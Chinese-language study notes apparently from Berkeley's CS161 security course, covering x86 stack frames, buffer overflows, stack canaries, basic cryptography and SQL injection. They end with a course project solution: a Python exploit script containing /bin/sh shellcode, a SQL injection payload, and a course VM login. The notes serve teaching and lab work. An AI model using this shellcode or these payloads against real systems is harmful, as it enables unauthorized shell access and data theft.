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CS161 computer security

使用版本是 summer 2021

x86 assemble

  • 1 nibble = 4 bits
  • 1 byte = 8 bits
  • 1 word = 32 bits (on 32-bit architecture

一个word的大小对应着该架构中指针位数的大小

the memory layout of x86

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x86是小端

register

寄存器在x86中也是一个对应一个word，其中有一些特殊的寄存器

  • eip 也就是pc
  • ebp 栈顶指针，也就是fp
  • esp 栈底指针，也就是sp

stack push and pop

when we want to push a value into stack

  1. esp下移
  2. 在这块区间里存储我们的数据

pop指令就是做相反的操作，并将数据拷贝到指定的寄存器上

在x86中我们有push和pop指令实现了上述的操作

instruction

在本课程的x86采用AT&T的标准，一般目标寄存器放在指令的最后

​addl $0x8, %ebx​ 上述指令的含义是ebx寄存器的内容自加 8

  • 寄存器的调用需要加上%
  • 常数的使用要加上 $
  • 内存的引用的做法是 常数(地址) 例如12(%esp)​ 指esp地址后12个bytes的值

function calls

在发生函数调用的时候，栈空间会分配相应的空间（也就是esp下移）给临时变量和函数的其他信息（参数和eip，edp）；在函数调用返回的时候，栈空间分配的空间会被释放

在发生函数调用的时候，以下寄存器需要更新

  • eip 同pc，需要指向新的指令
  • edp and esp 这两个寄存器指向栈空间的顶部和底部，它们将会从caller的栈空间转换成callee的栈空间

和riscv不同的是，risc中有专门的寄存器处理函数的参数，而x86会把参数直接存储在栈中

x86的函数调用一共有 11 个步骤

main:
    # Step 1. Push arguments on the stack in reverse order
    push $2
    push $1

    # Steps 2-3. Save old eip (rip) on the stack and change eip
    call foo

    # Execution changes to foo now. After returning from foo:

    # Step 11: Remove arguments from stack
    add $8, %esp

foo:
    # Step 4. Push old ebp (sfp) on the stack
    push %ebp

    # Step 5. Move ebp down to esp
    mov %esp, %ebp

    # Step 6. Move esp down
    sub $16, %esp

    # Step 7. Execute the function (omitted here)

    # Step 8. Move esp
    mov %ebp, %esp

    # Step 9. Restore old ebp (sfp)
    pop %ebp

    # Step 10. Restore old eip (rip)
    pop %eip

step9-10 有时也被简写为leave ret​

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memory safety

buffer overflow

缓冲溢出是一种常见的错误，在c等语言中尤为常见，是指程序员未能进行足够的边界检查，从而触发超出内存区域的越界内存访问

首先，C不存在对于数组边界的严格检查

char buf[8];
int authenticated = 0;
void vulnerable() {
    gets(buf);
}

例如上述程序，c做gets的时候，并不会检查buf的边界，而是会把多余的数据继续写到后面的内存区

C也不存在对于指针访问的严格检查

int (*fnptr)();

对于这样一个函数指针变量，C允许各种覆写，使得攻击者可以将程序跳转到任意他们想要的地方，这种行为被称为malicious code injection attack恶意代码注入攻击

stack smash

上述的溢出问题主要出现在溢出buf后面跟随着关键数据或者函数指针，在实际中并不常见

而根据x86的堆栈存储形式进行攻击则更为有效

void vulnerable() {
    char buf[8];
    gets(buf);
}

对于上述代码

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我们的输入足够长时，可以覆盖rip（老的eip），sfp，当我们返回的时候就会返回到新的rip指向的地方

tips，我们的栈空间是向下增长的，但是写入依旧是向上写的

上述模型是一个理论情形，实际的程序中，buf和sfp，rip之间一般会有一些padding空间

对于上述代码，写入AAAAAAAAAAAA\xef\xbe\xad\xde​ 就可以使得函数返回时跳转到0xDEADEEF​ 该输入与系统的大小端有关

shellcode

很多时候注入攻击的结果是生产一个交互式的shell，让攻击者执行各种操作

​[shellcode] + [4 bytes of garbage] + [address of buf]​

shellcode就放在buf内部，然后按照上述方法覆盖rip，我们一般会把shellcode放在rip的上面，所以会把rip覆盖为 address(rip) + 4

integer conversion vulnerabilities

C编译器不会警告signed int 和 unsigned int之间的转换，并且在整数的溢出情形下也不会给出相应的信息

void vulnerable() {
    size_t len;
    char *buf;

    len = read_int_from_network();
    buf = malloc(len+5);
    read(fd, buf, len);
    ...
}

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Mitigating Memory-Safety Vulnerabilities

最直接且有效的方法就是直接使用内存安全的语言，例如Java, Python, Go, Rust, Swift

但当我们不得不使用那些非内存安全的语言时，也已经有了很多机制来防止内存攻击

linux对抗栈溢出机制

stack canaries，是一种对抗栈溢出攻击的技术，在rip的地址的更低处放置一个随机数，因为利用buf覆盖rip势必要覆盖其更低位置的部分，在函数返回时检查该随机数是否被修改，从而检测出栈攻击

Cryptography

basic concepts

我们在本次的密码学学习中会反复使用一个例子，Alice and Bob 需要通信，Eve想要窃听通信，Mallory需要篡改通信内容

keys

密钥是现代密码学的基础部分，现代计算机系统中常有两个密钥模型，不对称密钥模型（asymmetric key model）和对称密钥模型（symmetric key model）

一个密码系统的性质/目标

  • confidentiality 机密性，表现为第三者无法读取我们传递的信息
  • integrity 完整性，表现为第三者无法在不被察觉的情况下修改我们要传递的信息
  • authenticity 真实性/认证性 可以确定是由某人发出的信息

symmetric key model 和 asymmetric key model 的三种性质证明

kerckhoff's principle

  • 密钥应当是密码系统中唯一需要保密的东西
  • 当密钥被泄露时，生成一个新的密钥应当是一个简单的过程

symmetric key model

对称模型首先要求双方能够交换密钥，否则双方不会凭空产生一对相同的密钥

对于confidentiality 有一些形式上的定义

IND-CPA secure

在允许Eve明文攻击的情形下，发给Alice两份制定的信息，经过Alice加密之后，Eve通过观测原文本和加密后文本，猜准匹配原文本和加密文本的概率不超过50%，则说明这个加密方式是IND-CPA secure的

但是对于IND-CPA 的明文攻击是有一定的限制的

  • 两份信息的长度需要相同，换句话说，我们允许密文泄露明文的长度
  • 该加密请求是实际的而不是理论上的，一般限制在O(N^k) k is constant
  • Eve 获取的猜测优势应当是存在实际含义的，不能说我比50%多了2^亿次方分之一

one time pad

Alice and Bob共享n-bit的密钥，他们将这个n-bit的密钥每一位随机设置（50%为1,50%为0）

此时Alice想要发送一个n-bit的message（我们记为M），将M和密钥做位异或，就完成了加密

只要Bob拥有密钥，很容易就能把密文还原回来，再做一个异或即可

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tip在于，在存在明文攻击的情况下，每个密钥不可多次使用于不同文本

block ciphers

分组的密钥，是可以重复使用的共享密钥，把一个定长的n-bit输入转换成一个定长的n-bit输出

一个block ciphers应当有2^k 中加密方式，用一个k-bit的输入来确定加密方式

对于相同的输入和密钥，必须给出相同输出，因此其本身不是IND-CPA的

block ciphers 是展现为一组函数的性质

Cryptographic hashes

cryptographic hash function是一种函数，用来给文本生成一个特殊的值，这个值相当于该文本的指纹，不论以任何形式细微地修改文本，都会导致生成不同的hash值

散列函数一般有以下特征

  • 相同的输入有相同的输出，不同的输入必然有不同的输出
  • 常见的哈希函数的输出是固定长度的，例如git里面使用的SHA256
  • preimage resistant 容易正向计算hash值，但难以从hash值推断输入
  • collision resistant 使用者无法找到任意两个x1, x2，使得它们有相同的hash值

简而言之，攻击者无法在不修改hash值的情况下修改信息本身

hash function也为通信双方校验两个文本是否一致提供了简单的方法，比如我们需要验证安装的软件是否完整，可以计算其hash值与官方发布的hash值是否一致

hash 算法

现阶段，SHA2，SHA3是常见的hash算法，并且是目前无法被破解的，根据输出的bite数，被称为SHA3-256，SHA-384等等

lowest hash schema

当数量最够大的时候，最低数量的hash值是会被cover的

Message authentication code

MAC 消息验证码，是在对称加密系统中维护信息完整性和认证性的功能

其接收固定长度的密钥和任意长度的明文，生成一个固定长度的校验码，其最重要的性质在于任意对于明文的改动都会导致校验码的变化

同时一个安全的MAC，不能让人针对一个未知的文本产生一个有效的MAC值

MAC是被用于已知明文攻击的

例如，即使Eve观察了众多组密文+MAC的组合，她也无法创造出一组新的有效的文本+MAC组合

Web security

SQL injection

很多种安全攻击发生在于对于输入的检查不严格，导致特殊的输入会发生设计者意料之外的事。在当今互联网上web应用多数是依赖于数据库，因此多数情况下是SQL injection攻击

现代web应用有一些特征

  • 用SQL数据库存储信息
  • 用HTTP请求和数据库交互

举个例子，例如有一个web应用

对于这样的http请求 http://www.berkeley.edu/evals?course=cs61a
产生这样的查询sql SELECT rating FROM evals WHERE course = 'cs61a'

对此我们使用这样的输入garbage'; SELECT password FROM passwords WHERE username = 'admin​

就可以执行这样的sql语句

SELECT rating FROM evals WHERE course = 'garbage'; SELECT * FROM passwords WHERE username = 'admin'

当然上述情况是比较理想的，没有任何防御的情形，正常情况下我们会把SQL语句参数化来防止SQL injection

SQL参数化是指先对SQL语句进行查询编译和解释，在插入用户输入的参数，在此种情况下，用户输入绝不会被作为SQL语句执行，而仅仅是参数的一部分

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golang basic

对于Go的包而言，所有导出的部分开头字符都得大写，小写的部分都是不导出的，这个格式是强制的

支持多值返回

project踩坑记录

project1

初次登录需要

  • 用户名 customizer
  • 密码 customizer

然后会给出新的登录信息

remus ans

#!/usr/bin/env python2

shellcode = "\x6a\x32\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x47\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

buffercode = "AAAAAAAAAAAAAAAAAAAA"

addresscode = "\x80\xfc\xff\xbf"

print(buffercode + addresscode + shellcode)

In this project, you will need to chmod​ any new scripts you create.

  • shellcode 是我们需要它执行的‘恶意’代码
  • addresscode 是shellcode的地址 我们用addresscode 替代 rip 使其跳转到 shellcode
  • buffercode 是用来覆盖buffer，sfp，以及一些其它的内容，其所需要替代的长度等需要在gdp调试中查看

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我们通过查看buf附近的栈，我们可以看到buf被写入了8个A（\x41），同时我们看到它的附近有一个0xb7ffc4d3 的值，对应了main函数中call指令的下一条语句，合理推测这个值就是rip内部的值。所以rip的地址可以推测就是 0xbffffc78 + 4 = 0xbffffc7c

我们的shellcode应当放置在rip地址后面，也就是0xbffffc7c + 4 = 0xbffffc80 ，因此要写入的addresscode 就是 “\x80\xfc\xff\xbf”

从上图我们也可以看出从buf到rip中间需要覆盖的长度，一共需要20个A

更简单的方式是使用info frame指令，查看当前函数的堆栈信息；用x/16wx buf指令查看当前buf的信息，结合起来就可以了